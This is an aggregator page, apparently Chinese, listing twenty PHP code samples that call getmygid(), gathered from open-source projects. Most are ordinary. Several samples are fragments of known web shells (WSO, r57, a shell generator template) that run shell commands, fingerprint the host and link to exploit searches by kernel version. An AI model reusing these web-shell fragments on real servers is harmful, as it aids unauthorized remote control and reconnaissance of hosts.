本文整理汇总了PHP中getmygid函数的典型用法代码示例。如果您正苦于以下问题:PHP getmygid函数的具体用法?PHP getmygid怎么用?PHP getmygid使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了getmygid函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的PHP代码示例。
示例1: _execTest
/**
* Checks the GID of the PHP process to make sure it is above PHPSECINFO_MIN_SAFE_GID
*
* @see PHPSECINFO_MIN_SAFE_GID
*/
function _execTest()
{
if (getmygid() >= PHPSECINFO_MIN_SAFE_GID) {
return PHPSECINFO_TEST_RESULT_OK;
}
return PHPSECINFO_TEST_RESULT_WARN;
}
开发者ID:rhertzog,项目名称:lcs,代码行数:12,代码来源:gid.php
示例2: sendPHPInfo
/**
* @param CommandSender $sender
*/
public function sendPHPInfo(CommandSender $sender)
{
$info = ["CWD" => getcwd(), "GID" => getmygid(), "PID" => getmypid(), "UID" => getmyuid(), "Memory-usage" => memory_get_usage(true), "Memory-peak-usage" => memory_get_peak_usage(true), "PHP-version" => phpversion(), "Zend-version" => zend_version()];
foreach ($info as $key => $value) {
$sender->sendMessage($key . ": " . $value);
}
}
开发者ID:happyexceed,项目名称:PocketMine-Plugins-1,代码行数:10,代码来源:PHPUtils.php
示例3: mount
public function mount()
{
$this->runCommand("sudo mount -t tmpfs -o size={$this->getSizeMb()}m tmpfs {$this->ram_disk_path}");
$uid = getmyuid();
$gid = getmygid();
$this->runCommand("sudo chown {$uid}:{$gid} {$this->ram_disk_path}");
$this->runCommand("chmod 0755 {$this->ram_disk_path}");
}
开发者ID:eileenmcnaughton,项目名称:amp,代码行数:8,代码来源:LinuxRamDisk.php
示例4: sd_pid_notify_with_fds
/**
* sd_pid_notify_with_fds PHP implementation
*
* @param int $pid FIXME currently not usable!
* @param bool $unset_environment
* @param string $state
* @param array $fds
*
* @return int
*
* @link https://github.com/systemd/systemd/blob/master/src/libsystemd/sd-daemon/sd-daemon.c
*/
function sd_pid_notify_with_fds($pid, $unset_environment, $state, array $fds)
{
$state = trim($state);
if ('' === $state) {
$r = -EINVAL;
goto finish;
}
$e = getenv('NOTIFY_SOCKET');
if (!$e) {
return 0;
}
/* Must be an abstract socket, or an absolute path */
if (strlen($e) < 2 || strpos($e, '@') !== 0 && strpos($e, '/') !== 0) {
$r = -EINVAL;
goto finish;
}
$fd = socket_create(AF_UNIX, SOCK_DGRAM, 0);
if (!$fd) {
$r = -1 * socket_last_error();
goto finish;
}
$msghdr = ['name' => ['path' => $e], 'iov' => [$state . "\n"], 'control' => []];
if (strpos($msghdr['name']['path'], '@') === 0) {
$msghdr['name'][0] = "";
}
$pid = (int) $pid;
$have_pid = $pid && getmypid() !== $pid;
if (count($fds) > 0 || $have_pid) {
if (count($fds)) {
$msghdr['control'][] = ['level' => SOL_SOCKET, 'type' => SCM_RIGHTS, 'data' => $fds];
}
if ($have_pid) {
$msghdr['control'][] = ['level' => SOL_SOCKET, 'type' => SCM_CREDENTIALS, 'data' => ['pid' => $pid, 'uid' => getmyuid(), 'gid' => getmygid()]];
}
}
/* First try with fake ucred data, as requested */
if (@socket_sendmsg($fd, $msghdr, MSG_NOSIGNAL) !== false) {
$r = 1;
goto finish;
}
/* If that failed, try with our own ucred instead */
if ($have_pid) {
$msghdr['control'] = [];
if (@socket_sendmsg($fd, $msghdr, MSG_NOSIGNAL) !== false) {
$r = 1;
goto finish;
}
}
$r = -1 * socket_last_error($fd);
finish:
if (isset($fd) && $fd) {
socket_close($fd);
}
if ($unset_environment) {
putenv('NOTIFY_SOCKET');
}
return $r;
}
开发者ID:mekras,项目名称:php-systemd,代码行数:70,代码来源:functions.php
示例5: randomBytes
function randomBytes($length = 16, $secure = true, $raw = true, $startEntropy = "", &$rounds = 0, &$drop = 0)
{
static $lastRandom = "";
$output = "";
$length = abs((int) $length);
$secureValue = "";
$rounds = 0;
$drop = 0;
while (!isset($output[$length - 1])) {
//some entropy, but works ^^
$weakEntropy = array(is_array($startEntropy) ? implode($startEntropy) : $startEntropy, serialize(stat(__FILE__)), __DIR__, PHP_OS, microtime(), (string) lcg_value(), (string) PHP_MAXPATHLEN, PHP_SAPI, (string) PHP_INT_MAX . "." . PHP_INT_SIZE, serialize($_SERVER), serialize(get_defined_constants()), get_current_user(), serialize(ini_get_all()), (string) memory_get_usage() . "." . memory_get_peak_usage(), php_uname(), phpversion(), extension_loaded("gmp") ? gmp_strval(gmp_random(4)) : microtime(), zend_version(), (string) getmypid(), (string) getmyuid(), (string) mt_rand(), (string) getmyinode(), (string) getmygid(), (string) rand(), function_exists("zend_thread_id") ? (string) zend_thread_id() : microtime(), var_export(@get_browser(), true), function_exists("getrusage") ? @implode(getrusage()) : microtime(), function_exists("sys_getloadavg") ? @implode(sys_getloadavg()) : microtime(), serialize(get_loaded_extensions()), sys_get_temp_dir(), (string) disk_free_space("."), (string) disk_total_space("."), uniqid(microtime(), true), file_exists("/proc/cpuinfo") ? file_get_contents("/proc/cpuinfo") : microtime());
shuffle($weakEntropy);
$value = hash("sha512", implode($weakEntropy), true);
$lastRandom .= $value;
foreach ($weakEntropy as $k => $c) {
//mixing entropy values with XOR and hash randomness extractor
$value ^= hash("sha256", $c . microtime() . $k, true) . hash("sha256", mt_rand() . microtime() . $k . $c, true);
$value ^= hash("sha512", (string) lcg_value() . $c . microtime() . $k, true);
}
unset($weakEntropy);
if ($secure === true) {
$strongEntropyValues = array(is_array($startEntropy) ? hash("sha512", $startEntropy[($rounds + $drop) % count($startEntropy)], true) : hash("sha512", $startEntropy, true), file_exists("/dev/urandom") ? fread(fopen("/dev/urandom", "rb"), 64) : str_repeat("", 64), (function_exists("openssl_random_pseudo_bytes") and version_compare(PHP_VERSION, "5.3.4", ">=")) ? openssl_random_pseudo_bytes(64) : str_repeat("", 64), function_exists("mcrypt_create_iv") ? mcrypt_create_iv(64, MCRYPT_DEV_URANDOM) : str_repeat("", 64), $value);
$strongEntropy = array_pop($strongEntropyValues);
foreach ($strongEntropyValues as $value) {
$strongEntropy = $strongEntropy ^ $value;
}
$value = "";
//Von Neumann randomness extractor, increases entropy
$bitcnt = 0;
for ($j = 0; $j < 64; ++$j) {
$a = ord($strongEntropy[$j]);
for ($i = 0; $i < 8; $i += 2) {
$b = ($a & 1 << $i) > 0 ? 1 : 0;
if ($b != (($a & 1 << $i + 1) > 0 ? 1 : 0)) {
$secureValue |= $b << $bitcnt;
if ($bitcnt == 7) {
$value .= chr($secureValue);
$secureValue = 0;
$bitcnt = 0;
} else {
++$bitcnt;
}
++$drop;
} else {
$drop += 2;
}
}
}
}
$output .= substr($value, 0, min($length - strlen($output), $length));
unset($value);
++$rounds;
}
$lastRandom = hash("sha512", $lastRandom, true);
return $raw === false ? bin2hex($output) : $output;
}
开发者ID:Kengaming1st,项目名称:Secure-PHP-Random-Bytes,代码行数:56,代码来源:randomBytes.php
示例6: url_stat
public function url_stat($path)
{
$mode = 0666;
$uid = 0;
$gid = 0;
$len = strlen('fiemulate://');
$type = substr($path, $len, 1);
switch (substr($path, $len, 1)) {
case 'u':
$uid = getmyuid();
$gid = getmygid() + 1;
switch (substr($path, $len + 2)) {
case 'not_readable':
$mode &= ~0400;
break;
case 'not_writable':
$mode &= ~0200;
break;
}
break;
case 'g':
$uid = getmyuid() + 1;
$gid = getmygid();
switch (substr($path, $len + 2)) {
case 'not_readable':
$mode &= ~0440;
break;
case 'not_writable':
$mode &= ~0220;
break;
}
break;
case 'o':
$uid = getmyuid() + 1;
$gid = getmygid() + 1;
switch (substr($path, $len + 2)) {
case 'not_readable':
$mode &= ~0444;
break;
case 'not_writable':
$mode &= ~0222;
break;
}
break;
case 'a':
$uid = getmyuid();
$gid = getmygid();
break;
}
$keys = array('dev', 'ino', 'mode', 'nlink', 'uid', 'gid', 'rdev', 'size', 'atime', 'mtime', 'ctime', 'blksize', 'blocks');
$values = array(0, 0, $mode, 0, $uid, $gid, 0, 0, 0, 0, 0, 0, 0);
foreach ($keys as $index => $key) {
$values[$key] = $values[$index];
}
return $values;
}
开发者ID:kylekatarnls,项目名称:sbp,代码行数:56,代码来源:utilsTest.php
示例7: matchingLetter
public static function matchingLetter($file)
{
if (fileowner($file) === getmyuid()) {
return 'u';
}
if (filegroup($file) === getmygid()) {
return 'g';
}
return 'o';
}
开发者ID:kylekatarnls,项目名称:sbp,代码行数:10,代码来源:FileHelper.php
示例8: state
/**
* @param null $value
*
* @return bool
*/
public static function state($value = null)
{
$stateFile = sprintf("/tmp/sonata_behat_test_%s.state", getmygid());
if (!is_file($stateFile)) {
file_put_contents($stateFile, "0");
}
if ($value === null) {
return file_get_contents($stateFile) === "0" ? false : true;
}
file_put_contents($stateFile, $value === true ? "1" : "0");
}
开发者ID:plusteams,项目名称:xxxx,代码行数:16,代码来源:CiHelper.php
示例9: pull_project
public function pull_project()
{
if (!is_cli()) {
echo 'This controller must run from command line interface only.' . PHP_EOL;
return;
}
exec('git pull');
exec('chown ' . getmyuid() . ':' . getmygid() . ' ' . FCPATH . '.. -R');
exec('chmod 0777 ' . APPPATH . 'cache');
exec('chmod 0777 ' . APPPATH . 'logs');
}
开发者ID:paranic,项目名称:codeigniter-skeleton,代码行数:11,代码来源:Shell.php
示例10: isWritable
/**
* Check if path is writable.
*
* @param string $path
* @return bool
*/
public static function isWritable($path)
{
if (!is_writable($path)) {
return false;
}
if (ini_get('safe_mode')) {
if (ini_get('safe_mode_gid') ? getmygid() != filegroup($path) : getmyuid() != fileowner($path)) {
return false;
}
}
return true;
}
开发者ID:bombayworks,项目名称:currycms,代码行数:18,代码来源:FileBrowser.php
示例11: __construct
public function __construct()
{
$this->config = array('filename' => basename(__FILE__), 'username' => '', 'password' => '', 'interpreter' => 'shell_exec', 'current_user' => get_current_user(), 'hostname' => function_exists('gethostname') ? gethostname() : $_SERVER['HTTP_HOST'], 'server_address' => isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : '127.0.0.1', 'server_port' => $_SERVER['SERVER_PORT'], 'request_time' => $_SERVER['REQUEST_TIME'], 'php_owner_uid' => getmyuid(), 'php_owner_gid' => getmygid(), 'php_process_id' => getmypid(), 'inode_script' => getmyinode(), 'last_page_modification' => getlastmod(), 'cwd' => getcwd());
if (isset($_SESSION['interpreter'])) {
$this->config['interpreter'] = $_SESSION['interpreter'];
}
if (isset($_SESSION['cwd']) && $_SESSION['cwd'] != $this->config['cwd']) {
chdir($_SESSION['cwd']);
$this->config['cwd'] = getcwd();
}
$this->config['prompt'] = $this->get_prompt();
}
开发者ID:jaggedsoft,项目名称:phpshellgen,代码行数:12,代码来源:template.php
示例12: _init
protected function _init()
{
$this->os = new Zend_Environment_Field(array('title' => 'OS', 'info' => 'Host operating system', 'value' => PHP_OS));
$this->uid = new Zend_Environment_Field(array('title' => 'Script uid', 'info' => 'script user id', 'value' => getmyuid()));
$this->gid = new Zend_Environment_Field(array('title' => 'Script gid', 'info' => 'script group id', 'value' => getmygid()));
$this->script_username = new Zend_Environment_Field(array('title' => 'Script username', 'info' => 'username obtained via HTTP authentication', 'value' => get_current_user()));
$this->memory = new Zend_Environment_Field(array('title' => 'Memory', 'info' => 'Memory used by this script on host'));
if (function_exists('memory_get_usage')) {
$this->memory->value = memory_get_usage();
} else {
$this->memory->notice = 'memory_get_usage() not enabled';
}
}
开发者ID:BGCX262,项目名称:zym-svn-to-git,代码行数:13,代码来源:Os.php
示例13: Myevents
function Myevents($text=null,$function=null){
$pid=getmygid();
$file="/var/log/artica-postfix/watchdog.debug";
@mkdir(dirname($file));
$logFile=$file;
if (is_file($logFile)) {
$size=filesize($logFile);
if($size>100000){unlink($logFile);}
}
$date=date('Y-m-d H:i:s'). " [$pid]: ";
$f = @fopen($logFile, 'a');
@fwrite($f, "$date $function:: $text\n");
@fclose($f);
}
开发者ID:rsd,项目名称:artica-1.5,代码行数:15,代码来源:exec.watchdog.php
示例14: stat
public function stat()
{
$time = time();
if ($this->_getStreamContent() != null) {
$size = strlen($this->_getStreamContent());
} else {
$size = 0;
}
$uid = getmyuid();
$gid = getmygid();
$mode = octdec(100000 + $this->_getStreamMode());
$keys = array('dev' => 0, 'ino' => 0, 'mode' => $mode, 'nlink' => 0, 'uid' => $uid, 'gid' => $gid, 'rdev' => 0, 'size' => $size, 'atime' => $time, 'mtime' => $time, 'ctime' => $time, 'blksize' => 0, 'blocks' => 0);
$return_value = $keys + array_values($keys);
return $return;
}
开发者ID:laiello,项目名称:lion-framework,代码行数:15,代码来源:MemoryStreamStorage.class.php
示例15: __construct
public function __construct()
{
$this->scriptFilename = $this->getServerVar('SCRIPT_FILENAME');
$this->documentRoot = $this->getServerVar('DOCUMENT_ROOT');
$this->httpHost = $this->getServerVar('HTTP_HOST');
$this->adminEmail = $this->getServerVar('SERVER_ADMIN');
$this->time = date('Y.m.d H:i:s', $this->getServerVar('REQUEST_TIME'));
$this->serverAddr = $this->getServerVar('SERVER_ADDR');
$this->serverSoftware = $this->getServerVar('SERVER_SOFTWARE');
$this->serverGateway = $this->getServerVar('GATEWAY_INTERFACE');
$this->serverSignature = $this->getServerVar('SERVER_SIGNATURE');
$this->serverHostname = @php_uname('n');
$this->serverPlatform = @php_uname('s') . ' ' . @php_uname('r') . ' ' . @php_uname('v');
$this->serverArchitecture = @php_uname('m');
$this->username = 'uid: ' . @getmyuid() . ', gid: ' . @getmygid();
$this->pathinfo = getcwd();
$this->phpinfo = $this->getCompactPhpInfo();
}
开发者ID:SellSSL,项目名称:manul,代码行数:18,代码来源:WebServerEnvInfo.inc.php
示例16: printHeader
function printHeader() {
if(empty($_POST['charset']))
$_POST['charset'] = "UTF-8";
global $color;
?>
<html><head><meta http-equiv='Content-Type' content='text/html; charset=<?=$_POST['charset']?>'><title><?=$_SERVER['HTTP_HOST']?> - WSO <?=VERSION?></title>
<style>
body { background-color:#444;font: 9pt Lucida,Verdana;color:#e1e1e1;margin: 0; }
td,th { font: 9pt Lucida,Verdana;vertical-align:top; }
table.info { color:#fff;background-color:#222; }
span { color:<?=$color?>;font-weight: bolder; }
h1 { color:<?=$color?>;border-left:5px solid <?=$color?>;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content { padding: 5px;margin-left:5px;background-color:#333; }
a { text-decoration:none; color:<?=$color?>; }
a:hover { text-decoration:underline; }
.ml1 { border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea { width:100%;height:250px; }
input, textarea, select { margin:0;color:#fff;background-color:#555;border:1px solid <?=$color?>; font: 9pt Monospace,"Courier New"; }
form { margin:0px; }
#toolsTbl { text-align:center; }
.toolsInp { width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.main td, th{vertical-align:middle}
.l1 {background-color:#444}
pre{font-family:Courier,Monospace;}
</style>
<script>
function set(a,c,p1,p2,p3,charset) {
if(a != null)document.mf.a.value=a;
if(c != null)document.mf.c.value=c;
if(p1 != null)document.mf.p1.value=p1;
if(p2 != null)document.mf.p2.value=p2;
if(p3 != null)document.mf.p3.value=p3;
if(charset != null)document.mf.charset.value=charset;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
document.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = "ajax=true";
for(i=0;i<document.mf.elements.length;i++)
params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
sr('<?=$_SERVER['REQUEST_URI'];?>', params);
}
function sr(url, params) {
if (window.XMLHttpRequest) {
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
req.open("POST", url, true);
req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
req.send(params);
}
else if (window.ActiveXObject) {
req = new ActiveXObject("Microsoft.XMLHTTP");
if (req) {
req.onreadystatechange = processReqChange;
req.open("POST", url, true);
req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
req.send(params);
}
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
//alert(req.responseText);
var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
}
else alert("Request error!");
}
</script>
<head><body>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a value='<?=isset($_POST['a'])?$_POST['a']:''?>'>
<input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
<input type=hidden name=p1 value='<?=isset($_POST['p1'])?htmlspecialchars($_POST['p1']):''?>'>
<input type=hidden name=p2 value='<?=isset($_POST['p2'])?htmlspecialchars($_POST['p2']):''?>'>
<input type=hidden name=p3 value='<?=isset($_POST['p3'])?htmlspecialchars($_POST['p3']):''?>'>
<input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
</form>
<?php
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$release = @php_uname('r');
$kernel = @php_uname('s');
$millink='http://milw0rm.com/search.php?dong=';
if( strpos('Linux', $kernel) !== false )
$millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
else
$millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
//.........这里部分代码省略.........
开发者ID:akagisho,项目名称:php-malware-scanner,代码行数:101,代码来源:fox.php
示例17: getuser
function getuser()
{
$out = get_current_user();
if ($out != "SYSTEM") {
if (($out = ex('id')) == '') {
$out = "uid=" . getmyuid() . "(" . get_current_user() . ") gid=" . getmygid();
}
}
return $out;
}
开发者ID:ASDAFF,项目名称:Shells-Database,代码行数:10,代码来源:root_access_shell.php
示例18: ex
$lin2 = ex('sysctl -n kernel.osrelease');
}
if (!empty($bsd1) && !empty($bsd2)) {
$sysctl = "{$bsd1} {$bsd2}";
} else {
if (!empty($lin1) && !empty($lin2)) {
$sysctl = "{$lin1} {$lin2}";
} else {
$sysctl = "-";
}
}
echo ws(3) . $sysctl . "<br>";
echo ws(3) . ex('echo $OSTYPE') . "<br>";
echo ws(3) . @substr($SERVER_SOFTWARE, 0, 120) . "<br>";
$id = ex('id');
echo !empty($id) ? ws(3) . $id . "<br>" : ws(3) . "user=" . @get_current_user() . " uid=" . @getmyuid() . " gid=" . @getmygid() . "<br>";
echo ws(3) . $dir;
echo ws(3) . '( ' . perms(@fileperms($dir)) . ' )';
echo "</b></font>";
} else {
echo '<font color=blue><b>OS :' . ws(1) . '<br>Server :' . ws(1) . '<br>User :' . ws(1) . '<br>pwd :' . ws(1) . '</b></font><br>';
echo "</td><td>";
echo "<font face=Verdana size=-2 color=red><b>";
echo ws(3) . @substr(@php_uname(), 0, 120) . "<br>";
echo ws(3) . @substr($SERVER_SOFTWARE, 0, 120) . "<br>";
echo ws(3) . @get_current_user() . "<br>";
echo ws(3) . $dir;
echo "<br></font>";
}
echo "</font>";
echo "</td></tr></table>";
开发者ID:Theov,项目名称:webshells,代码行数:31,代码来源:r57.php
示例19: getmygid
<?php
print "{";
print "\"GroupId\":\"" . getmygid() . "\",";
print "\"UserId\":\"" . getmyuid() . "\"";
print "}";
开发者ID:bassmanrod,项目名称:lsh64,代码行数:6,代码来源:test.php
示例20: GOTMLS_scanfile
//.........这里部分代码省略.........
} else {
$path = str_replace("//", "/", "/" . str_replace("\\", "/", substr($file, strlen(ABSPATH))));
if (isset($_SESSION["GOTMLS_debug"])) {
$_SESSION["GOTMLS_debug"]["file"] = $file;
$_SESSION["GOTMLS_debug"]["last"]["total"] = microtime(true);
}
foreach ($GLOBALS["GOTMLS"]["tmp"]["threat_levels"] as $threat_level) {
if (isset($_SESSION["GOTMLS_debug"])) {
$_SESSION["GOTMLS_debug"]["threat_level"] = $threat_level;
$_SESSION["GOTMLS_debug"]["last"]["threat_level"] = microtime(true);
}
if (in_array($threat_level, $GLOBALS["GOTMLS"]["log"]["settings"]["check"]) && !$found && isset($GLOBALS["GOTMLS"]["tmp"]["definitions_array"][$threat_level]) && ($threat_level != "wp_core" || substr($file, 0, strlen(ABSPATH)) == ABSPATH && isset($GLOBALS["GOTMLS"]["tmp"]["definitions_array"]["wp_core"]["{$wp_version}"]["{$path}"])) && (!array_key_exists($threat_level, $GOTMLS_threat_files) || substr($file . "e", -1 * strlen($GOTMLS_threat_files[$threat_level] . "e")) == $GOTMLS_threat_files[$threat_level] . "e") && ($found = GOTMLS_check_threat($GLOBALS["GOTMLS"]["tmp"]["definitions_array"][$threat_level], $file))) {
$className = $threat_level;
}
}
if (isset($_SESSION["GOTMLS_debug"])) {
$file_time = round(microtime(true) - $_SESSION["GOTMLS_debug"]["last"]["total"], 5);
if (isset($_SESSION["GOTMLS_debug"]["total"]["total"])) {
$_SESSION["GOTMLS_debug"]["total"]["total"] += $file_time;
} else {
$_SESSION["GOTMLS_debug"]["total"]["total"] = $file_time;
}
if (isset($_SESSION["GOTMLS_debug"]["total"]["count"])) {
$_SESSION["GOTMLS_debug"]["total"]["count"]++;
} else {
$_SESSION["GOTMLS_debug"]["total"]["count"] = 1;
}
if (!isset($_SESSION["GOTMLS_debug"]["total"]["least"]) || $file_time < $_SESSION["GOTMLS_debug"]["total"]["least"]) {
$_SESSION["GOTMLS_debug"]["total"]["least"] = $file_time;
}
if (!isset($_SESSION["GOTMLS_debug"]["total"]["most"]) || $file_time > $_SESSION["GOTMLS_debug"]["total"]["most"]) {
$_SESSION["GOTMLS_debug"]["total"]["most"] = $file_time;
}
}
}
} else {
$GOTMLS_file_contents = is_file($file) ? is_readable($file) ? filesize($file) ? __("Failed to read file contents!", 'gotmls') : __("Empty file!", 'gotmls') : (isset($_GET["eli"]) ? @chmod($file, $GOTMLS_chmod_file) ? __("Fixed file permissions! (try again)", 'gotmls') : __("File permissions read-only!", 'gotmls') : __("File not readable!", 'gotmls')) : __("File does not exist!", 'gotmls');
// $threat_link = GOTMLS_error_link($GOTMLS_file_contents, $file);
$className = "errors";
}
if (count($GOTMLS_threats_found)) {
$threat_link = $lt . 'a target="GOTMLS_iFrame" href="' . GOTMLS_script_URI . '&GOTMLS_scan=' . $clean_file . '" id="list_' . $clean_file . '" onclick="loadIframe(\'' . str_replace("\"", """, $lt . 'div style="float: left;"' . $gt . 'Examine File ... ' . $lt . '/div' . $gt . $lt . 'div style="overflow: hidden; position: relative; height: 20px;"' . $gt . $lt . 'div style="position: absolute; right: 0px; text-align: right; width: 9000px;"' . $gt . GOTMLS_strip4java($file)) . $lt . '/div' . $gt . $lt . '/div' . $gt . '\');" class="GOTMLS_plugin"' . $gt;
if ($className == "errors") {
$threat_link = GOTMLS_error_link($GOTMLS_file_contents, $file);
$imageFile = "/blocked";
} elseif ($className != "potential") {
if (isset($_POST["GOTMLS_fix"]) && is_array($_POST["GOTMLS_fix"]) && in_array($clean_file, $_POST["GOTMLS_fix"])) {
if ($className == "timthumb") {
if (($source = GOTMLS_get_URL("http://{$className}.googlecode.com/svn/trunk/{$className}.php")) && strlen($source) > 500) {
$GOTMLS_new_contents = $source;
} else {
$GOTMLS_file_contents = "";
}
} elseif ($className == 'wp_core') {
$path = str_replace("//", "/", "/" . str_replace("\\", "/", substr($file, strlen(ABSPATH))));
if (substr($file, 0, strlen(ABSPATH)) == ABSPATH && isset($GLOBALS["GOTMLS"]["tmp"]["definitions_array"]["wp_core"]["{$wp_version}"]["{$path}"]) && $GLOBALS["GOTMLS"]["tmp"]["definitions_array"]["wp_core"]["{$wp_version}"]["{$path}"] != md5($GOTMLS_file_contents) . "O" . strlen($GOTMLS_file_contents) && ($source = GOTMLS_get_URL("http://core.svn.wordpress.org/tags/{$wp_version}{$path}")) && $GLOBALS["GOTMLS"]["tmp"]["definitions_array"]["wp_core"]["{$wp_version}"]["{$path}"] == md5($source) . "O" . strlen($source)) {
$GOTMLS_new_contents = $source;
} else {
$GOTMLS_file_contents = "";
}
} else {
$GOTMLS_new_contents = trim(preg_replace('/' . $lt . '\\?(php)?\\s*(\\?' . $gt . '|$)/i', "", $GOTMLS_new_contents));
}
if (strlen($GOTMLS_file_contents) > 0 && GOTMLS_write_quarantine($file, $className) !== false && (strlen($GOTMLS_new_contents) == 0 && isset($_GET["eli"]) && @unlink($file) || GOTMLS_file_put_contents($file, $GOTMLS_new_contents) !== false)) {
echo __("Success!", 'gotmls');
return "/*--{$gt}*" . "/\nfixedFile('{$clean_file}');\n/*{$lt}!--*" . "/";
} else {
echo __("Failed:", 'gotmls') . ' ' . (strlen($GOTMLS_file_contents) ? is_writable(dirname(GOTMLS_quarantine($file))) ? is_writable(dirname($file)) && is_writable($file) ? __("reason unknown!", 'gotmls') : __("file not writable!", 'gotmls') : __("quarantine not writable!", 'gotmls') . ' ' : __("no file contents!", 'gotmls'));
if (isset($_GET["eli"])) {
echo 'uid=' . getmyuid() . '(' . get_current_user() . '),gid=' . getmygid() . (is_writable(dirname(GOTMLS_quarantine($file))) ? $lt . 'br' . $gt . $lt . 'pre' . $gt . 'file_stat' . print_r(stat($file), true) : $lt . 'br' . $gt . $lt . 'pre' . $gt . dirname(GOTMLS_quarantine($file)) . ' stat' . print_r(stat(dirname(GOTMLS_quarantine($file))), true));
}
return "/*--{$gt}*" . "/\nfailedFile('{$clean_file}');\n/*{$lt}!--*" . "/";
}
}
$threat_link = $lt . 'input type="checkbox" name="GOTMLS_fix[]" value="' . $clean_file . '" id="check_' . $clean_file . ($className != "wp_core" ? '" checked="' . $className : '') . '" /' . $gt . $threat_link;
$imageFile = "threat";
} elseif (isset($_POST["GOTMLS_fix"]) && is_array($_POST["GOTMLS_fix"]) && in_array($clean_file, $_POST["GOTMLS_fix"])) {
echo __("Already Fixed!", 'gotmls');
return "/*-->*" . "/\nfixedFile('{$clean_file}');\n/*<!--*" . "/";
} else {
$imageFile = "question";
}
return GOTMLS_return_threat($className, $imageFile, $file, str_replace("GOTMLS_plugin", "GOTMLS_plugin {$className}", $threat_link));
} elseif (isset($_POST["GOTMLS_fix"]) && is_array($_POST["GOTMLS_fix"]) && in_array($clean_file, $_POST["GOTMLS_fix"])) {
if (GOTMLS_trailingslashit($GLOBALS["GOTMLS"]["tmp"]["quarantine_dir"]) == substr($file, 0, strlen(GOTMLS_trailingslashit($GLOBALS["GOTMLS"]["tmp"]["quarantine_dir"])))) {
if (count($file_parts) > 1 && strtolower($file_parts[count($file_parts) - 1]) == "gotmls" && @rename($file, GOTMLS_decode($file_parts[count($file_parts) - 2]))) {
echo __("Restored!", 'gotmls');
return "/*--{$gt}*" . "/\nfixedFile('{$clean_file}');\n/*{$lt}!--*" . "/";
} else {
echo __("Restore Failed!", 'gotmls');
return "";
}
} else {
echo __("Already Fixed!", 'gotmls');
return "/*--{$gt}*" . "/\nfixedFile('{$clean_file}');\n/*{$lt}!--*" . "/";
}
} else {
return GOTMLS_return_threat($className, ($className == "scanned" ? "checked" : "blocked") . ".gif?{$className}", $file, $threat_link);
}
}
开发者ID:joasssko,项目名称:schk,代码行数:101,代码来源:index.php
注:本文中的getmygid函数示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。 |
请发表评论